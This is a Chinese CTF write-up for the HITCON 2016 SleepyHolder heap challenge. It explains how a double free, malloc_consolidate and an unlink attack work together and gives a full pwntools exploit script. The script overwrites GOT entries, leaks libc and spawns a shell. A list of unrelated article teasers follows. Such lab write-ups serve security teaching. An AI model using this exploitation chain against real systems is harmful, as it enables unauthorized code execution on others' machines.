Hitcon 2016 SleepyHolder-fastbin_dup_consolidate.c

news2024/11/28 2:45:28

参考/题目下载:
https://github.com/mehQQ/public_writeup/tree/master/hitcon2016/SleepyHolder
https://blog.csdn.net/seaaseesa/article/details/105856878

1,三联
在这里插入图片描述保护:基本都开了
功能:
0、唤醒功能;
1、创建-secret:
Small secret;
Big secret;
2、清除-secret;
3、修改-secret;

2,IDA分析功能
主函数:
在这里插入图片描述清除功能-free:
在这里插入图片描述
这四个指针都是BSS段的地址。
问题点:
未检查free的指针是否为空;
free后指针未至置为0;
导致:可以double free
而要想成功double free,仅一个fastbin的chunk不行。Fastbin对double free的检查机制是仅仅检查fastbin的头chunk是否与当前要释放的这个相同size的chunk地址一样。

修改功能:
在这里插入图片描述
if检查了指针;
导致:无法UAF

创建功能:
在这里插入图片描述可以创建3种规格,使用1和3规格,分别是创建fastchunk和largechunk(为了使fastchunk_bin到unsortbin中)。
扩展:创建2规格也行,就不用创建2个1规格的,因为astbin不能与top chunk相邻,否则直接它们合并。

思路

目前根据IDA分析出的条件:
double free;
bss段全局指针;

由于没有开启PIE,并且堆指针存储在bss上,因此unlink是比较好的方法。unlink利用需要如下条件:
全局指针;
溢出-伪造chunk(目前分析出的条件无此项);

解决伪造chunk问题:
利用malloc_consolidate,来将fastbin的chunk从fastbin里卸下来,触发malloc_consolidate的条件是申请一个大的堆,功能里正好有这个功能。malloc_consolidate的功能就是把chunk从fastbin取出,相邻的chunk进行合并,并且会设置下一个chunk的prev_inuse位为0。当chunk从fastbin里取出后,我们就可以在再一次free这个chunk了,此时,fastbin里没有形成循环链表,一个chunk在fastbin,一个chunk在unosrted bin。关键的一点是下一个chunk的prev_inuse已经清零,我们将fastbin里的那个chunk申请回来,伪造一个chunk,然后释放下一个unsorted bin范围的chunk,就会发生unlink。

Unlink以后,实现了任意地址读写,改写got表。

payload

bss段指针:
buf = 0x6020D0

#!/usr/bin/env python
from pwn import *
context.log_level="debug"

r = process("./SleepyHolder")
elf = ELF('./SleepyHolder')
def add(t, s):
    r.recvuntil('3. Renew secret\n')
    r.sendline('1')
    r.recvuntil('Big secret\n')
    r.sendline(str(t))
    r.recvuntil(': \n')
    r.send(s)

def de(t):
    r.recvuntil('3. Renew secret\n')
    r.sendline('2')
    r.recvuntil('Big secret\n')
    r.sendline(str(t))

def update(t, s):
    r.recvuntil('3. Renew secret\n')
    r.sendline('3')
    r.recvuntil('Big secret\n')
    r.sendline(str(t))
    r.recvuntil(': \n')
    r.send(s)

def debug():
    gdb.attach(r)
    pause()

add(1, 'a')	#chunk1_fastbin_chunk
add(2, 'a')	#chunk2_largin_chunk-avoid (fastbin_chunk + top_chunk) conlidate
#debug()	#break1
de(1)
add(3, 'a')	#chunk3_larbin_chunk-bypass double free check
#debug()	#break3
de(1)	# double free
#debug()		#break2

f_ptr = 0x6020d0	# global buf_ptr
fake_chunk = p64(0) + p64(0x21)
fake_chunk += p64(f_ptr - 0x18) + p64(f_ptr-0x10)
fake_chunk += '\x20'
add(1, fake_chunk)	#chunk1
#debug()	#break4
de(2)			#unlink
#debug()	#break5

atoi_GOT = 0x602080
free_GOT = 0x602018
puts_GOT = 0x602020
puts_plt = 0x400760
atoi_offset = 0x36e70
system_offset = 0x45380

f = p64(0)	#again global buf_ptr
f += p64(atoi_GOT) + p64(puts_GOT) + p64(free_GOT)
f += p32(1)*3
update(1, f)
#debug()		#break6
update(1, p64(puts_plt)) #change puts_got - > puts_plt
debug()	#break7
de(2)		
s = r.recv(6)
libc_base = u64(s.ljust(8, '\x00')) - atoi_offset	#leak libc_base
system = libc_base + system_offset
update(1, p64(system))
#debug()
add(2, 'sh\0')
de(2)	#get_shell


r.interactive()

调试

  • break2
    绕过利用consolidation形成double free

在这里插入图片描述
对比验证:
fastbin与top_chunk合并了
在这里插入图片描述-break4

在这里插入图片描述

注意:consolidation形成的double free,malloc一次就free bin中的都取出来了。

  • break5

在这里插入图片描述- break6
在这里插入图片描述

-break7
在这里插入图片描述
利用已修改的put_plt泄露libc_base,然后getshell。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/607672.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

华为OD机试真题 Java 实现【猴子爬山】【2023 B卷 100分】,附详细解题思路

一、题目描述 一天一只顽猴想去从山脚爬到山顶,途中经过一个有个N个台阶的阶梯,但是这猴子有一个习惯: 每一次只能跳1步或跳3步,试问猴子通过这个阶梯有多少种不同的跳跃方式? 二、输入描述 输入只有一个整数N&…

Custom Frames插件:内置Web应用 | Obsidian实践

今天跟大家分享一个Obsidian插件:Custom Frames。 这个插件的美妙之处在于,可以将一个Obsidian外部的Web应用,内置到Obsidian内部来操作和使用。 这么说可能是有点儿抽象,就比方说吧,微信读书有个网页版(后…

嵌入式开发——文件系统部署rz、sz命令

1、rz、sz命令源码下载 下载网址:https://ohse.de/uwe/software/lrzsz.html 2、源码编译 tar -zxvf lrzsz-0.12.20.tar.gz cd lrzsz-0.12.20 ./configure make CCaarch64-mix410-linux-gcc #指定芯片平台的交叉编译链3、源码编译遇到的问题 3.1、报错打印 (1)报错…

绝地求生可以这样制作 (Python 版)

一、概述 1.1 效果 总的来说,这种方式是通过图像识别来完成的,不侵入游戏,不读取内存,安全不被检测。 1.2 前置知识 游戏中有各种不同的枪械,不同的枪械后坐力不一样,射速也不同。相同的枪械,…

【Java】Java(四十八):日志

文章目录 1. 概述2. 日志体系结构和Log4J3. 入门案例4. 配置文件详解 1. 概述 程序中的日志可以用来记录程序在运行的时候点点滴滴。并可以进行永久存储。 日志与输出语句的区别 2. 日志体系结构和Log4J 体系结构 Log4J Log4j是Apache的一个开源项目。 通过使用Log4j&#…

vue实现导航栏功能的方法

在 Vue中实现导航栏功能,我们可以将导航栏作为一个单独的组件来实现。这样可以方便我们进行修改、定制,并有多种方式进行添加导航栏,如使用 Vue的 document. position属性或者使用vue-dialog-position属性来添加导航栏。在此,我们…

mac os终于成功安装MySQL

目录 PART 1. 下载MySQL PART 2. 安装MySQL PART 3. 启动MySQL 大家好,我是tin,一个热爱技术喜欢折腾的开发,欢迎阅读我的重磅肝文: 1. 面试官:你给我讲一讲,Dubbo暴力停机,消费者是如何感知…

机器学习知识经验分享之六:R语言绘图之小提琴图绘制

python语言用于深度学习较为广泛,R语言用于机器学习领域中的数据预测和数据处理算法较多,后续将更多分享机器学习数据预测相关知识的分享,有需要的朋友可持续关注,有疑问可以关注后私信留言。 文章目录 一、小提琴图 二、相关代…

node、node-sass和sass-loader版本错误问题 this.getOptions is not a function

安装node-sass和sass-loader后,使用npm run dev启动项目时一直报错。网上查明原因,是因为版本问题,但是修改node-sass和sass-loader版本后,又提示说node版本不兼容,我的node版本是18。随后又尝试了很多node-sass和sass…

【STM32CubeMX项目】STM32DHT11工程文件

前言 在我的另一篇里文章里已经介绍过DHT11的时序理论了,这里介绍下,我写DHT11的数据获取的思路和调用。程序验证后,发现下述问题,暂时解决不了,但是还是会把个人的代码流程,函数的编写思路和工程写下&…

蔚来的痛苦远未结束

来源:猛兽财经 作者:猛兽财经 总结 (1)蔚来5月份的交付数据没有计入ES6的订单情况 (2)蔚来现在面临的主要问题是销售成本在不断增长,残酷的事实是,蔚来资产负债表上的现金只能维持5…

在Windows中安装极狐GitLab Runner

官方文档:https://docs.gitlab.cn/runner/install/windows.html 在Windows中安装极狐GitLab Runner 1.下载GitLab Runner二进制文件,新建一个文件夹(不要有中文),并将二进制文件放入该文件夹,重命名为“git…

django连接mysql

1.0app目录 1.pip 安装mysqlclient 2.在cmd里面新建一个django项目 3.在cmd里面新建一个app名字叫blogg 4.创建自己的数据库 django连接mysql 首建项目maneage里面setting的mysql配置 6.setting里面的installed_apps里面加上app的配置 7.app里面models模板的设置…

平面图学习

空调管道的设计:某景区有6个景点,位置分布如下图。 分析者认为:(1) A1与A4, (2) A2与A5, (3) A3与A6间人流较少,其它景点之间人流量大,必须投资铺设空调管道,但要求空调管道间不能交…

国密算法初探 | 入门教程 | 解析

国密算法即国家密码局认定的国产密码算法。 国密算法是商用密码,仅能用于商业用途。国密算法是一套标准,由国家密码局制定的规范,凡是符合的,都可以称之为国密算法。国密算法暂无官方的代码实现,企业可以自己编码实现…

用Numpy实现简单的神经网络

目录 数据预处理模型设计训练过程小批量随机梯度下降 用numpy实现神经网络对波士顿房价进行预测 假设房价和各影响因素之间能够用线性关系来描述: y ∑ j 1 M x j w j b y { \sum_{j1}^Mx_j w_j} b yj1∑M​xj​wj​b 模型的求解即是通过数据拟合出每个 w j w_…

使用思维导图做出Mybatis核心配置文件中各层及结构以及常用标签的意义和详细作用.

一、配置文件概述 Mybatis 配置文件两大类:1.Mybatis 主配置文件;2.Mybatis 的 mapper 文件 Mybatis 主配置文件: 提供 Mybatis 全局设置的。包含的内容、日志、数据源、mapper 文件位置等信息。Mybatis 的 mapper 文件: 写 sql …

linux 中的 gdb 调试方法和技巧(有截图超详细)

一、 背景 1. 程序的发布方式有两种,debug模式和release模式 2. Linux gcc/g出来的二进制程序,默认是release模式 3. 要使用gdb调试,必须在源代码生成二进制程序的时候,加上 -g 选项 如下图: 不加 -g 默认是 relea…

【Java】快速排序

文章目录 一、什么是快速排序二、基准元素的选择1、选择第一个元素2、随机选择 三、元素的交换1、双边循环法2、单边循环法 一、什么是快速排序 快速排序是由冒泡排序演变而来,比冒泡排序更快的排序算法。之所以快,是因为快速排序用了分治法。 相同的是…

基于均值方差最优化资产配置的模型特性

摘要及声明 1:本文主要利用实际数据进行检验,从定量角度分析均值方差最优化的特性; 2:本文主要为理念的讲解,模型也是笔者自建,文中假设与观点是基于笔者对模型及数据的一孔之见,若有不同见解…